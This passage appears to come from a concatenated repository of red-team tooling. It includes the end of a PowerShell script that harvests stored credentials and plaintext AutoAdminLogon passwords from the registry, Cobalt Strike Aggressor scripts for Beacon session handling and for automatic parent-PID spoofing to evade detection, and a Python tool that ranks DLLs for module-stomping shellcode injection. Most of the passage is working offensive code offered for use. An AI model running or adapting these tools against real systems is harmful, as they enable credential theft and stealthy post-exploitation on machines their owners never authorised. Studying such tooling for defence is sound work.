} 210 | } 211 | $output = $output + "`r`n" 212 | $output = $output + "-----------------------------------------------------------`r`n" 213 | $output = $output + " Stored Credentials`r`n" 214 | $output = $output + "-----------------------------------------------------------`r`n" 215 | $output = $output + (cmdkey /list | out-string) 216 | $output = $output + "`r`n" 217 | $output = $output + "-----------------------------------------------------------`r`n" 218 | $output = $output + " Checking for AutoAdminLogon `r`n" 219 | $output = $output + "-----------------------------------------------------------`r`n" 220 | $Winlogon = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 221 | if (get-itemproperty -path $Winlogon -Name AutoAdminLogon -ErrorAction SilentlyContinue) 222 | { 223 | if ((get-itemproperty -path $Winlogon -Name AutoAdminLogon).AutoAdminLogon -eq 1) 224 | { 225 | $Username = (get-itemproperty -path $Winlogon -Name DefaultUserName).DefaultUsername 226 | $output = $output + "The default username is $Username `r`n" 227 | $Password = (get-itemproperty -path $Winlogon -Name DefaultPassword).DefaultPassword 228 | $output = $output + "The default password is $Password `r`n" 229 | $DefaultDomainName = (get-itemproperty -path $Winlogon -Name DefaultDomainName).DefaultDomainName 230 | $output = $output + "The default domainname is $DefaultDomainName `r`n" 231 | } 232 | } 233 | $output = $output + "`r`n" 234 | if ($OutputFilename.length -gt 0) 235 | { 236 | $output | Out-File -FilePath $OutputFileName -encoding utf8 237 | } 238 | else 239 | { 240 | clear-host 241 | write-output $output 242 | } 243 | } 244 | -------------------------------------------------------------------------------- /rename-beacon-tabs.cna: -------------------------------------------------------------------------------- 1 | # 2 | # Beacons tabs renaming script. 3 | # 4 | # Lets us rename tabs from a default format of: 5 | # Beacon @ 6 | # 7 | # to anything other we like. Take note that the script only renames Beacon-related 8 | # tabs, leaving SSH ones untouched. The renaming action kicks in every 15 seconds, as registered 9 | # in heartbeat_15s event handler. 10 | # 11 | # Format deciding how should each Beacon's tab be named, utilising beacon's metadata fields 12 | # is described in a global variable named $beacon_tab_name_format . That variable may contain 13 | # any of the following available beacon's metadata keys (CobaltStrike 4.2): 14 | # note, charset, internal , alive, session, listener, pid, lastf, computer, host, 15 | # is64, id, process, ver, last, os, barch, phint, external, port, build, pbid, arch, 16 | # user, _accent 17 | # 18 | # Example: 19 | # $beacon_tab_name_format = "B: @ ()"; 20 | # 21 | # Author: 22 | # Mariusz Banach / mgeeky, '20 23 | # 24 | # (https://github.com/mgeeky) 25 | # 26 | 27 | $beacon_tab_name_format = "B: @ ()"; 28 | 29 | 30 | on heartbeat_15s { 31 | if($beacon_tab_name_format is $null || strlen($beacon_tab_name_format) == 0) { 32 | return; 33 | } 34 | 35 | renameBeaconTabs(); 36 | } 37 | 38 | sub renameBeaconTabs { 39 | local('$bid'); 40 | 41 | foreach $bid (beacon_ids()) { 42 | renameBeaconTab($bid); 43 | } 44 | } 45 | 46 | 47 | # 48 | # CobaltStrike 4.4 changed ApplicationTab's class definition.: 49 | # 50 | # cobaltstrike.jar:aggressor.TabManager.class: 51 | # - title => - E 52 | # - component => - C 53 | # - removeListener => - D 54 | # - label => - B 55 | # - bid => - A 56 | # 57 | 58 | sub renameBeaconTab { 59 | local('$client $srctabname $i $dsttabname $apptabs $applicationTab'); 60 | 61 | if($beacon_tab_name_format is $null || strlen($beacon_tab_name_format) == 0) { 62 | return; 63 | } 64 | 65 | $bid = $1; 66 | $client = getAggressorClient(); 67 | $apptabs = [[$client tabs] apptabs]; 68 | 69 | $srctabname = "Beacon " . beacon_info($bid, 'host') . "@" . beacon_info($bid, 'pid'); 70 | $srctabname = [$srctabname trim]; 71 | 72 | for ( $i = 0; $i < [$apptabs size] ; $i++) { 73 | $applicationTab = [$apptabs get: $i]; 74 | 75 | if ([$applicationTab A] eq $bid) { 76 | $currtabname = [[[$applicationTab B] getText] trim]; 77 | 78 | if ($currtabname eq $srctabname) { 79 | $dsttabname = $beacon_tab_name_format; 80 | 81 | foreach $beacon (beacons()) { 82 | if ($beacon['id'] eq $bid) { 83 | foreach $k => $v ($beacon) { 84 | $dsttabname = replace($dsttabname, '<' . $k . '>', $v); 85 | } 86 | } 87 | } 88 | 89 | # For some reason when we call setField to set title property of 90 | # applicationTab var, the beacon tab's title gets reverted to its previous 91 | # value, completely ignoring followed setText(). No clue what's going on, so we 92 | # better avoid the setField call. 93 | #setField($applicationTab, E => $dsttabname); 94 | [[$applicationTab B] setText: $dsttabname . " "]; 95 | } 96 | } 97 | } 98 | } 99 | 100 | renameBeaconTabs(); -------------------------------------------------------------------------------- /settings.cna: -------------------------------------------------------------------------------- 1 | # 2 | # Options save & load routines for Cobalt Strike scripts. 3 | # 4 | # They allow for saving & restoring script settings in a form of 5 | # a hash object in an arbitrary config file. 6 | # 7 | # This script file exposes two functions: 8 | # 1) Saves input hash object to the file specified by first parameter, where each option 9 | # will be stored in output file according to it's hash-key name, optionally prefix by third param: 10 | # 11 | # saveOptions( 12 | # $filename, 13 | # %dictWithOptions, 14 | # [optional]"save.these.options.with.prefix.in.name" 15 | # ) 16 | # 17 | # 2) Loads given in first param settings file and returns a hash object with keys being setting names, 18 | # optionally filtered by their prefixes: 19 | # 20 | # %fetchedOptionsDict = loadOptions( 21 | # $filename, 22 | # [optional]"load.only.options.with.prefix.in.name" 23 | # ) 24 | # 25 | # Example use case: 26 | # 27 | # ----------------------------------------------------------- 28 | # global('%defaults $savedSettingsFile'); 29 | # 30 | # $savedSettingsFile = "settings.conf"; 31 | # %defaults["test1"] = "test2"; 32 | # %defaults["test3"] = 5; 33 | # 34 | # sub getOptions { 35 | # local('%opts $pos'); 36 | # 37 | # %opts = loadOptions($savedSettingsFile); 38 | # if(size(keys(%opts)) > 0) { 39 | # $pos = strlen("defaults."); 40 | # foreach $key (keys(%opts)) { 41 | # if("defaults.*" iswm $key) { 42 | # $k = substr($key, $pos); 43 | # %defaults[$k] = %opts[$key]; 44 | # } 45 | # } 46 | # } 47 | # 48 | # println("Script options loaded."); 49 | # } 50 | # 51 | # sub putOptions { 52 | # saveOptions($savedSettingsFile, %defaults, "defaults."); 53 | # println("Script options saved."); 54 | # } 55 | # ----------------------------------------------------------- 56 | # 57 | # Contents of resulting 'settings.conf' file: 58 | # 59 | # defaults.test1 = test2 60 | # defaults.test3 = 5 61 | # ----------------------------------------------------------- 62 | # 63 | # Author: 64 | # Mariusz Banach / mgeeky, '20 65 | # 66 | # (https://github.com/mgeeky) 67 | # 68 | 69 | 70 | # 71 | # ============================================================================================== 72 | # 73 | 74 | # 75 | # saveOptions( 76 | # $filename, 77 | # %dictWithOptions, 78 | # [optional]"save.these.options.with.prefix.in.name") 79 | # 80 | sub saveOptions { 81 | local('$handle $i $newl $updated $append @output @contents $optionsPrefix $fileName %options $p $k $key $val %fetchedOptions'); 82 | $fileName = $1; 83 | %options = $2; 84 | $optionsPrefix = $3; 85 | 86 | @output = @(); 87 | @contents = @(); 88 | @processed = @(); 89 | 90 | if(-exists $fileName) { 91 | if(!-canread $fileName) { 92 | show_error("Cannot read settings file: $fileName"); 93 | return; 94 | } 95 | 96 | $handle = openf($fileName); 97 | if($handle) { 98 | while $line (readln($handle)) { 99 | $line = ["$line" trim]; 100 | push(@contents, $line); 101 | } 102 | closef($handle); 103 | } 104 | } 105 | 106 | $handle = openf(">" . $fileName); 107 | if($handle is $null) { 108 | show_error("Could not save options: Unable to open/create file."); 109 | return; 110 | } 111 | 112 | if(size(@contents) > 0) { 113 | for($i = 0; $i < size(@contents); $i++) { 114 | if(strlen(@contents[$i]) < 2) { 115 | push(@output, @contents[$i]); 116 | continue; 117 | } 118 | else if('#*' iswm @contents[$i]) { 119 | push(@output, @contents[$i]); 120 | continue; 121 | } 122 | 123 | $updated = 0; 124 | if(@contents[$i] ismatch '([^=]+)\s*=\s*(.+)') { 125 | ($key, $oldval) = matched(); 126 | $key = ["$key" trim]; 127 | $oldval = ["$oldval" trim]; 128 | 129 | foreach $key2 (keys(%options)) { 130 | $k = $optionsPrefix . $key2; 131 | 132 | if($key eq $k) { 133 | $val = %options[$key2]; 134 | $val = ["$val" trim]; 135 | 136 | $newl = substr(@contents[$i], 0, indexOf(@contents[$i], $oldval)); 137 | 138 | if(strlen($val) == 0) { 139 | $newl .= "\"\""; 140 | } 141 | else if(indexOf($val, ' ')) { 142 | $newl .= "\" $+ $val $+ \""; 143 | } 144 | else { 145 | $newl .= $val; 146 | } 147 | 148 | push(@output, $newl); 149 | push(@processed, $key2); 150 | 151 | $updated = 1; 152 | } 153 | } 154 | } 155 | 156 | if($updated == 0) { 157 | push(@output, @contents[$i]); 158 | } 159 | } 160 | } 161 | else { 162 | foreach $key (keys(%options)) { 163 | $k = $optionsPrefix . $key; 164 | $val = %options[$key]; 165 | $val = ["$val" trim]; 166 | 167 | if(strlen($val) == 0) { 168 | push(@output, "$k = \"\""); 169 | } 170 | else if(indexOf($val, ' ')) { 171 | push(@output, "$k = \" $+ $val $+ \""); 172 | } 173 | else { 174 | push(@output, "$k = $val"); 175 | } 176 | 177 | push(@processed, $key); 178 | } 179 | } 180 | 181 | foreach $key (keys(%options)) { 182 | $k = $optionsPrefix . $key; 183 | if($key !in @processed) { 184 | $val = %options[$key]; 185 | $val = ["$val" trim]; 186 | 187 | if(strlen($val) == 0) { 188 | push(@output, "$k = \"\""); 189 | } 190 | else if(indexOf($val, ' ')) { 191 | push(@output, "$k = \" $+ $val $+ \""); 192 | } 193 | else { 194 | push(@output, "$k = $val"); 195 | } 196 | } 197 | } 198 | 199 | printAll($handle, @output); 200 | closef($handle); 201 | } 202 | 203 | # 204 | # %fetchedOptionsDict = loadOptions( 205 | # $filename, 206 | # [optional]"load.only.options.with.prefix.in.name" 207 | # ) 208 | # 209 | sub loadOptions { 210 | local('$handle @lines $fileName $p $key $loadPrefix $val %fetchedOptions'); 211 | $fileName = $1; 212 | $loadPrefix = $2; 213 | %fetchedOptions = %(); 214 | 215 | if(!-exists $fileName) { 216 | #show_error("No saved settings file ( $+ $fileName $+ )!"); 217 | 218 | # create a new, empty file. 219 | try 220 | { 221 | $handle = openf(">" . $fileName); 222 | closef($handle); 223 | } catch $m { 224 | } 225 | return $null; 226 | } 227 | 228 | if(!-canread $fileName) { 229 | show_error("Cannot read settings file: $fileName"); 230 | return $null; 231 | } 232 | 233 | $handle = openf($fileName); 234 | while $line (readln($handle)) { 235 | push(@lines, ["$line" trim]); 236 | } 237 | 238 | closef($handle); 239 | 240 | for($lineNum = 0; $lineNum < size(@lines); $lineNum++) { 241 | $line = @lines[$lineNum]; 242 | 243 | if(strlen($line) <= 2) { 244 | continue; 245 | } 246 | else if('#*' iswm $line) { 247 | continue; 248 | } 249 | 250 | $p = indexOf($line, '='); 251 | if ($p) { 252 | 253 | $key = substr($line, 0, $p); 254 | $key = ["$key" trim]; 255 | 256 | $val = substr($line, $p + 1); 257 | $val = ["$val" trim]; 258 | 259 | if(strlen($key) == 0) { 260 | show_error("Error in config file ( $+ $fileName $+ ) in line $lineNum $+ :\nLine does not conform 'key = value' form, as there is no key:\n\n $line"); 261 | return $null; 262 | } 263 | 264 | if(right($val, 1) eq ";") { 265 | $val = substr($val, 0, -1); 266 | } 267 | 268 | if(left($val, 1) eq '"') { 269 | if(right($val, 1) eq '"') { 270 | $val = substr($val, 1, -1); 271 | } 272 | else { 273 | show_error("Error in config file ( $+ $fileName $+ ) in line $lineNum $+ :\nUnclosed quote mark on line:\n\n $line"); 274 | return $null; 275 | } 276 | } 277 | 278 | if($loadPrefix && strlen($loadPrefix) > 0) { 279 | if(indexOf($key, $loadPrefix) != 0) { 280 | continue; 281 | } 282 | } 283 | 284 | if($key && strlen($key) > 0) { 285 | %fetchedOptions[$key] = $val; 286 | } 287 | else { 288 | %fetchedOptions[$key] = ""; 289 | } 290 | } 291 | else { 292 | show_error("Error in config file ( $+ $fileName $+ ) in line $lineNum $+ :\nNo 'key = value' assignment in line:\n\n $line"); 293 | return $null; 294 | } 295 | } 296 | 297 | return %fetchedOptions; 298 | } 299 | 300 | -------------------------------------------------------------------------------- /smart-autoppid.cna: -------------------------------------------------------------------------------- 1 | # 2 | # Autoppid - script that smartely invokes PPID for every new checkin in Beacon. 3 | # PPID command requires invoked Beacon to have the same Integrity level as the process it want's 4 | # to assume as it's Parent. That's due to how InitializeProcThreadAttributeList with 5 | # PROC_THREAD_ATTRIBUTE_PARENT_PROCESS works. In order to avoid harcoded explorer.exe PID assumption, 6 | # we can look around for a configurable process name and then try to find that process running 7 | # on the highest available for us integrity level. In that case, unprivileged user would assume PPID 8 | # of for instance svchost.exe running as that user, wherease the privileged one - could go for the 9 | # svchost.exe running as NT AUTHORITY\SYSTEM. We aim to smartely pick the most advantageous target, 10 | # in a dynamic fashion. 11 | # 12 | # The script also includes alias registration. 13 | # 14 | # Author: Mariusz Banach / mgeeky, '20-'21 15 | # 16 | # 17 | 18 | # Set desirable process name which you want to become your parent. This process will be used for 19 | # parent PID spoofing and thus should be allowed for opening for your current process token. 20 | # Use comma to separate multiple candidates. 21 | 22 | $PARENT_PROCESS_NAME = "svchost.exe"; 23 | $PRIVILEGED_PARENT_PROCESS_NAME = "svchost.exe"; 24 | 25 | 26 | beacon_command_register( 27 | "autoppid", 28 | "Automatically finds suitable PPID and sets it (unprivileged: $PARENT_PROCESS_NAME , privileged: $PRIVILEGED_PARENT_PROCESS_NAME )", 29 | "Automatically finds suitable - according to the current user context - PPID and sets it (unprivileged: $PARENT_PROCESS_NAME , privileged: $PRIVILEGED_PARENT_PROCESS_NAME )"); 30 | 31 | sub findSuitableParentPID { 32 | local('$_bid $_callback $_processName $_userName'); 33 | $_bid = $1; 34 | $_callback = $2; 35 | $_processName = replace($3, ' ', ''); 36 | $_userName = binfo($1, "user"); 37 | 38 | if (right($_userName, 2) eq ' *') { 39 | $_userName = substr($_userName, 0, strlen($_userName) - 2); 40 | } 41 | 42 | bps($_bid, lambda({ 43 | local('$tab $entry $name $pid $ppid $arch $user'); 44 | @processes = split(',', $processName); 45 | $found = 0; 46 | 47 | foreach $processN (@processes) { 48 | foreach $entry (split("\n", $2)) { 49 | ($name, $ppid, $pid, $arch, $user, $session) = split("\\s+", $entry); 50 | 51 | # "NT AUTHORITY" contains space, thus breaking our split results. Here's a workaround for that 52 | if($user eq "NT") { 53 | $user = substr($entry, indexOf($entry, "NT ")); 54 | $tab = indexOf($user, "\t"); 55 | if ($tab) { 56 | $user = substr($user, 0, $tab); 57 | } 58 | } 59 | 60 | if ($pid) { 61 | if($name eq $processN) { 62 | if($user) { 63 | if( ($userName isin $user) || ($user isin $userName) ) { 64 | [$callback : $bid, $pid, "\t $+ $name \t $pid \t $arch \t $user \t $session"]; 65 | $found = 1; 66 | break; 67 | } 68 | } 69 | } 70 | } 71 | 72 | if($found == 1) { 73 | break; 74 | } 75 | } 76 | 77 | if($found == 1) { 78 | break; 79 | } 80 | } 81 | }, $bid => $_bid, $callback => $_callback, $userName => $_userName, $processName => $_processName)); 82 | } 83 | 84 | alias autoppid { 85 | local('$processName $userName $params'); 86 | $params = ""; 87 | 88 | if(strlen($0) > strlen("autoppid ")) { 89 | $params = substr($0, strlen("autoppid ")); 90 | } 91 | 92 | $processName = $PARENT_PROCESS_NAME; 93 | $mode = "unprivileged"; 94 | 95 | if (-isadmin $1) { 96 | $processName = $PRIVILEGED_PARENT_PROCESS_NAME; 97 | $mode = "privileged*"; 98 | } 99 | 100 | $userName = binfo($1, "user"); 101 | 102 | if (right($userName, 2) eq ' *') { 103 | $userName = substr($userName, 0, strlen($userName) - 2); 104 | } 105 | 106 | if($params ne "quiet") { 107 | btask($1, "Tasked Beacon to find $mode $processName running as $userName and make it the PPID."); 108 | } 109 | 110 | if(strlen($processName) > 0) { 111 | findSuitableParentPID($1, lambda({ 112 | if($params ne "quiet") { 113 | blog!($1, "Future post-ex jobs will be spawned with fake PPID set to:\n$3"); 114 | bppid($1, $2); 115 | } else { 116 | bppid!($1, $2); 117 | } 118 | }, $params => $params), $processName); 119 | } 120 | else { 121 | blog2($1, "Not spoofing Parent PID automatically as there is set one in options."); 122 | } 123 | } 124 | 125 | on beacon_initial { 126 | # Parent PID spoofing 127 | fireAlias($1, "autoppid", ""); 128 | } 129 | 130 | on beacon_error { 131 | local('$ppid $err'); 132 | 133 | if ($2 ismatch 'Could not set PPID to (\d+): (\d+)' ) { 134 | ($ppid, $err) = matched(); 135 | 136 | if($err == 87) { 137 | blog2($1, "Catched PPID error: \c4Previous parent process no longer exists\o. Finding a new one..."); 138 | fireAlias($1, "autoppid", "quiet"); 139 | } 140 | else if($err == 5) { 141 | blog2($1, "Catched PPID error:\c4 $err $+ \o. Access Denied. Don't know how to proceed. Reseting PPID to none."); 142 | bppid($1, 0); 143 | } 144 | else { 145 | blog2($1, "Catched PPID error:\c4 $err $+ \o. Will find another candidate for PPID spoofing."); 146 | fireAlias($1, "autoppid", "quiet"); 147 | } 148 | 149 | blog2($1, "\c8 Repeat your last command as it failed.\o"); 150 | } 151 | } 152 | -------------------------------------------------------------------------------- /stomp-dll-info.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # 3 | # A script that list DLL files properties for purpose of finding good Module Stomping candidates. 4 | # The results of this script can then be used in Cobalt Strike Malleable C2 Profiles and 5 | # for the sake of other shellcode process-injection tests. 6 | # 7 | # Let's the user find modules matching criterias such as: 8 | # - modules that are .NET ones 9 | # - modules of a big enough size / SizeOfImage / code section size 10 | # - modules with enough room to fit shellcode for Module Stomping/DLL Hollowing purposes 11 | # (calculated as a difference of upper code section address and an entry point address) 12 | # - modules present at the same time in System32 and SysWOW64 13 | # - modules used / not used by any process as examined during the scan 14 | # 15 | # CAUTION: 16 | # The PE Authenticode verification logic is somewhat flawed, as it is unable currently to pull executable's 17 | # signature if there is no PKCS7 structure pointed by IMAGE_DIRECTORY_ENTRY_SECURITY entry! 18 | # 19 | # Mariusz Banach / mgeeky, '21 20 | # 21 | # 22 | 23 | import os 24 | import re 25 | import sys 26 | import glob 27 | import pprint 28 | import psutil 29 | import pefile 30 | import tabulate 31 | import platform 32 | import textwrap 33 | import argparse 34 | import tempfile 35 | import subprocess 36 | 37 | DEFAULT_COLUMN_SORTED = 'hollow size' 38 | 39 | args = None 40 | 41 | headers = [ 42 | 'type', 43 | 'filename', 44 | 'file size', 45 | 'image size', 46 | 'code size', 47 | 'hollow size', 48 | '.NET', 49 | 'signed', 50 | 'in System32', 51 | 'in SysWOW64', 52 | 'used by', 53 | 'path', 54 | ] 55 | 56 | is_wow64 = False 57 | results = [] 58 | processModules = {} 59 | filesProcessed = 0 60 | 61 | def verbose(x): 62 | if args.verbose: 63 | print('[verbose] ' + x) 64 | 65 | def isDotNetExecutable(pe): 66 | idx = pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR'] 67 | 68 | pe.parse_data_directories() 69 | dir_entry = pe.OPTIONAL_HEADER.DATA_DIRECTORY[idx] 70 | 71 | try: 72 | if dir_entry.VirtualAddress != 0 and dir_entry.Size > 0: 73 | for entry in pe.DIRECTORY_ENTRY_IMPORT: 74 | if entry.dll.decode('utf-8').lower() == 'mscoree.dll': 75 | for func in entry.imports: 76 | if func.name.decode() == '_CorExeMain': 77 | return (True, 'exe') 78 | elif func.name.decode() == '_CorDllMain': 79 | return (True, 'dll') 80 | 81 | verbose('Seemingly .NET module but no required imports found. Imported functions:\n' + '\t- '.join([x.name.decode() for x in entry.imports])) 82 | return (True, 'unknown') 83 | 84 | except Exception as e: 85 | verbose(f'Exception occured while checking if .NET executable: {e}') 86 | 87 | return (False, '') 88 | 89 | def getCodeSectionSize(pe): 90 | ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint 91 | 92 | for sect in pe.sections: 93 | if ep > sect.VirtualAddress and ep < (sect.VirtualAddress + sect.Misc_VirtualSize): 94 | verbose('\tCode section: ' + sect.Name.decode()) 95 | return sect.Misc_VirtualSize 96 | 97 | verbose('\tCould not find section that Entry Point\'s point to. Returning first section\'s size.') 98 | return pe.sections[0].Misc_VirtualSize 99 | 100 | def getHollowSize(pe): 101 | ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint 102 | hollowSize = 0 103 | 104 | for sect in pe.sections: 105 | if ep > sect.VirtualAddress and ep < (sect.VirtualAddress + sect.Misc_VirtualSize): 106 | hollowSize = sect.VirtualAddress + sect.Misc_VirtualSize - ep 107 | break 108 | 109 | if hollowSize == 0: 110 | hollowSize = pe.sections[0].VirtualAddress + pe.sections[0].Misc_VirtualSize - ep 111 | 112 | if hollowSize < 0: 113 | hollowSize = 0 114 | 115 | return hollowSize 116 | 117 | import pefile 118 | 119 | def extractPKCS7(fname): 120 | '''A function extracting PKCS7 signature from a PE executable 121 | 122 | This function opens the file fname, extracts the PKCS7 123 | signature in binary (DER) format and returns it as 124 | a binary string 125 | ''' 126 | 127 | # first get the size of the file 128 | totsize = os.path.getsize(fname) 129 | 130 | # open the PE file 131 | # at opening time we do not need to parse all the information 132 | # so we can use fast_load 133 | ape = pefile.PE(fname, fast_load = True) 134 | 135 | # parse directories, we are interested only in 136 | # IMAGE_DIRECTORY_ENTRY_SECURITY 137 | ape.parse_data_directories( directories=[ 138 | pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY'] ] ) 139 | 140 | # reset the offset to the table containing the signature 141 | sigoff = 0 142 | # reset the lenght of the table 143 | siglen = 0 144 | 145 | # search for the 'IMAGE_DIRECTORY_ENTRY_SECURITY' directory 146 | # probably there is a direct way to find that directory 147 | # but I am not aware of it at the moment 148 | for s in ape.__structures__: 149 | if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY': 150 | # set the offset to the signature table 151 | sigoff = s.VirtualAddress 152 | # set the length of the table 153 | siglen = s.Size 154 | break 155 | 156 | # close the PE file, we do not need it anymore 157 | ape.close() 158 | 159 | if sigoff < totsize: 160 | # hmmm, okay we could possibly read this from the PE object 161 | # but is straightforward to just open the file again 162 | # as a file object 163 | f = open(fname, 'rb') 164 | # move to the beginning of signature table 165 | f.seek(sigoff) 166 | # read the signature table 167 | thesig = f.read(siglen) 168 | # close the file 169 | f.close() 170 | 171 | # now the 'thesig' variable should contain the table with 172 | # the following structure 173 | # DWORD dwLength - this is the length of bCertificate 174 | # WORD wRevision 175 | # WORD wCertificateType 176 | # BYTE bCertificate[dwLength] - this contains the PKCS7 signature 177 | # with all the 178 | 179 | # lets dump only the PKCS7 signature (without checking the lenght with dwLength) 180 | return thesig[8:] 181 | else: 182 | return None 183 | 184 | def shell(cmd): 185 | CREATE_NO_WINDOW = 0x08000000 186 | timeout = 10 187 | si = subprocess.STARTUPINFO() 188 | si.dwFlags |= subprocess.STARTF_USESHOWWINDOW 189 | si.wShowWindow = subprocess.SW_HIDE 190 | 191 | outs = '' 192 | errs = '' 193 | out = subprocess.run( 194 | cmd, 195 | shell=True, 196 | capture_output=True, 197 | startupinfo=si, 198 | creationflags=CREATE_NO_WINDOW, 199 | timeout=timeout 200 | ) 201 | 202 | outs = out.stdout 203 | errs = out.stderr 204 | 205 | return outs.decode(errors='ignore').strip() 206 | 207 | def verifyPeSignature(fname): 208 | sign = extractPKCS7(fname) 209 | 210 | if sign != None and len(sign) > 0: 211 | f = tempfile.NamedTemporaryFile(delete=False) 212 | f.write(sign) 213 | f.close() 214 | infile = f.name 215 | 216 | try: 217 | out = shell(f'openssl pkcs7 -inform DER -print_certs -text -in {infile}') 218 | 219 | verbose(f'[>] File signature verification status:\n{out}') 220 | 221 | if not ('code signing' in out.lower() and 'subject: ' in out.lower() and '-----begin certificate-----' in out.lower()): 222 | return 'Unsigned' 223 | 224 | signature = '' 225 | for line in out.split('\n'): 226 | line = line.strip() 227 | 228 | if 'subject: ' in line.lower(): 229 | org = ', O=' 230 | posA = line.find(org) 231 | posB = line.find(',', posA+1) 232 | 233 | if posA + len(org) >= posB: 234 | continue 235 | 236 | signature = line[posA + len(org):posB] 237 | 238 | return signature 239 | 240 | except: 241 | raise 242 | 243 | finally: 244 | os.unlink(f.name) 245 | 246 | return 'Unsigned' 247 | 248 | def scanProcessModules(): 249 | global processModules 250 | 251 | verbose('Scanning processes and their modules...') 252 | for pid in psutil.pids(): 253 | try: 254 | p = psutil.Process(pid) 255 | processModules[pid] = {} 256 | processModules[pid]['name'] = p.name() 257 | processModules[pid]['exe'] = p.exe() 258 | processModules[pid]['cmdline'] = p.cmdline() 259 | processModules[pid]['modules'] = [] 260 | 261 | for dll in p.memory_maps(): 262 | processModules[pid]['modules'].append(dll.path) 263 | 264 | except Exception as e: 265 | if pid in processModules.keys(): 266 | del processModules[pid] 267 | 268 | verbose('Done.') 269 | 270 | def findProcessesWithModuleLoaded(path): 271 | usedBy = set() 272 | 273 | for pid in processModules.keys(): 274 | for dll in processModules[pid]['modules']: 275 | if path.lower() == dll.lower(): 276 | usedBy.add(processModules[pid]['name']) 277 | break 278 | 279 | return usedBy 280 | 281 | def processFile(path): 282 | global results 283 | global filesProcessed 284 | 285 | verbose('Processing file: ' + path) 286 | 287 | mod = None 288 | 289 | try: 290 | mod = pefile.PE(path, fast_load = True) 291 | except: 292 | return 293 | 294 | inSystem32 = False 295 | inSysWOW64 = False 296 | 297 | inSystem32 = os.path.isfile(os.path.join(os.path.join(os.environ['SystemRoot'], 'SysNative' if is_wow64 else 'System32'), os.path.basename(path))) 298 | inSysWOW64 = os.path.isfile(os.path.join(os.path.join(os.environ['SystemRoot'], 'SysWOW64' if not is_wow64 else 'System32'), os.path.basename(path))) 299 | 300 | infos = { 301 | 'path' : path, 302 | 'filename' : os.path.basename(path), 303 | 'type' : 'dll' if (mod.OPTIONAL_HEADER.DllCharacteristics != 0) else 'exe', 304 | '.NET' : isDotNetExecutable(mod)[0], 305 | 'signed' : verifyPeSignature(path), 306 | 'file size' : os.path.getsize(path), 307 | 'image size' : mod.OPTIONAL_HEADER.SizeOfImage, 308 | 'code size' : getCodeSectionSize(mod), 309 | 'hollow size' : getHollowSize(mod), 310 | 'used by' : findProcessesWithModuleLoaded(path), 311 | 'in System32' : inSystem32, 312 | 'in SysWOW64' : inSysWOW64, 313 | } 314 | 315 | mod.close() 316 | 317 | assert len(infos.keys()) == len(headers), "headers and infos.keys() mismatch" 318 | assert list(infos.keys()).sort() == list(headers).sort(), "headers and infos.keys() mismatch while sorted" 319 | 320 | row = [] 321 | MaxWidth = 40 322 | 323 | for h in headers: 324 | obj = None 325 | 326 | if type(infos[h]) == set or type(infos[h]) == list or type(infos[h]) == tuple: 327 | obj = ', '.join(infos[h]) 328 | else: 329 | obj = infos[h] 330 | 331 | if type(obj) == str and len(obj) > MaxWidth: 332 | obj = '\n'.join(textwrap.wrap(obj, width = MaxWidth)) 333 | 334 | row.append(obj) 335 | 336 | appendRow = True 337 | 338 | # 339 | # Unfilter criterias 340 | # 341 | if args.min_code_size > 0 and infos['code size'] < args.min_code_size: 342 | appendRow = False 343 | verbose(f'\tFile {infos["filename"]} not added as it\'s code section size is less than requested ({infos["code size"]} < {args.min_code_size})') 344 | 345 | if args.min_file_size > 0 and infos['file size'] < args.min_file_size: 346 | appendRow = False 347 | verbose(f'\tFile {infos["filename"]} not added as it\'s file size is less than requested ({infos["file size"]} < {args.min_file_size})') 348 | 349 | if args.min_image_size > 0 and infos['image size'] < args.min_image_size: 350 | appendRow = False 351 | verbose(f'\tFile {infos["filename"]} not added as it\'s image size is less than requested ({infos["image size"]} < {args.min_image_size})') 352 | 353 | if args.hollow_size > 0 and infos['hollow size'] < args.hollow_size + 16: 354 | appendRow = False 355 | verbose(f'\tFile {infos["filename"]} not added as it\'s room for Module Stomping/Hollowing is less than requested ({infos["hollow size"]} < {args.hollow_size})') 356 | 357 | if args.used and len(infos['used by']) == 0: 358 | appendRow = False 359 | verbose(f"\tFile {infos['filename']} not added as it was not used by any process during the scan.") 360 | 361 | if args.not_used and len(infos['used by']) != 0: 362 | appendRow = False 363 | verbose(f"\tFile {infos['filename']} not added as it was used by any process during the scan.") 364 | 365 | if args.dotnet and not infos['.NET']: 366 | appendRow = False 367 | verbose(f"\tFile {infos['filename']} not added as it was not a .NET assembly.") 368 | 369 | if args.signed and len(infos['signed']) == 0: 370 | appendRow = False 371 | verbose(f"\tFile {infos['filename']} not added as it was not code signed.") 372 | 373 | if args.unsigned and len(infos['signed']) > 0: 374 | appendRow = False 375 | verbose(f"\tFile {infos['filename']} not added as it was not unsigned.") 376 | 377 | if args.system_cross_arch and (not infos['in System32'] or not infos['in SysWOW64']): 378 | appendRow = False 379 | verbose(f"\tFile {infos['filename']} not added as it was not present in System32 and SysWOW64 at the same time.") 380 | 381 | if len(args.process) > 0 and args.process not in infos['used by']: 382 | appendRow = False 383 | verbose(f"\tFile {infos['filename']} not added as it was not used by process {args.process}.") 384 | 385 | if appendRow: 386 | results.append(row) 387 | verbose('Processed results:\n' + pprint.pformat(infos)) 388 | 389 | else: 390 | verbose(f'File {os.path.basename(path)} did not met filter criterias.') 391 | 392 | filesProcessed += 1 393 | 394 | 395 | def processDir(path): 396 | for file in glob.glob(os.path.join(path, '**'), recursive=args.recurse): 397 | if os.path.isfile(file) and file.lower().endswith('.dll'): 398 | processFile(file) 399 | 400 | def opts(argv): 401 | params = argparse.ArgumentParser( 402 | prog = argv[0], 403 | usage='%(prog)s [options] ' 404 | ) 405 | 406 | params.add_argument('path', help = 'Path to a DLL/directory.') 407 | params.add_argument('-r', '--recurse', action='store_true', help='If is a directory, perform recursive scan.') 408 | params.add_argument('-v', '--verbose', action='store_true', help='Verbose mode.') 409 | 410 | sorting = params.add_argument_group('Output sorting') 411 | sorting.add_argument('-a', '--ascending', action='store_true', help = 'Sort in ascending order instead of default of descending.') 412 | sorting.add_argument('-c', '--column', default=DEFAULT_COLUMN_SORTED, choices=headers, metavar='COLUMN', help = 'Sort by this column name. Default: filename. 